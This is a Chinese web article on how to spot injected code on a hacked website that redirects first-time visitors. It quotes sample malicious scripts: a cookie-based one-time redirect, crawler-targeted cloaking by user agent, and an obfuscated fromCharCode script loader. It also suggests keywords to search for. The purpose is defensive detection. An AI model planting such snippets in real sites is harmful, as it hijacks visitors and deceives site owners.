网站被黑后,**次打开会跳转其他网页,再打开则不会,如何查询恶意代码
假如你的网站被黑了,**次打开网页时显示跳转到其他网站。再打开时却正常。
不要以为网站没事。请注意查一下类似于以下的代码。
C++
var c = document.cookie;
if (c.indexOf('isfirstvisited=false') != -1) {
}
else {
var d = new Date();
d.setFullYear(d.getFullYear() + 1);
document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
location = 'https://baidu.com'
}
这是以JS为例子,如果被植入的木马在PHP中,大致雷同。
请务必进行全站搜索相关关键词
Bash
isfirstvisited
等
同时看一下后台数据库中有没有被修改或者模板文件中被修改类似这样的。
C
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf('baidu') == -1)
另一种:
Bash
<script>
if (!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)) {
document.title = "正常的标题";
}
</script>
根据访问者是否为特定爬虫来决定是否动态设置页面标题。这就是为了迷惑网站管理人员的,当你直接打开网页的时候,显示正常的标题,当你通过搜索引擎打开就显示他附加的另外的代码设置的标题,然后进行跳转,通常伴有内似下面的代码。
Bash
<noscript><title>字符#什么的</title>
<meta name="keywords" content="字符#什么的"/>
<meta name="description" content="字符#什么的"/></noscript>
<script type="text/javascript">;var bc = String.fromCharCode(104,106,115等一串数字实际上是生成一个动态JS); var script = document.createElement('script'); script.src = bc; document.head.appendChild(script);</script>
版权声明:本站内容源自互联网,如有内容侵犯了你的权益,请联系删除相关内容。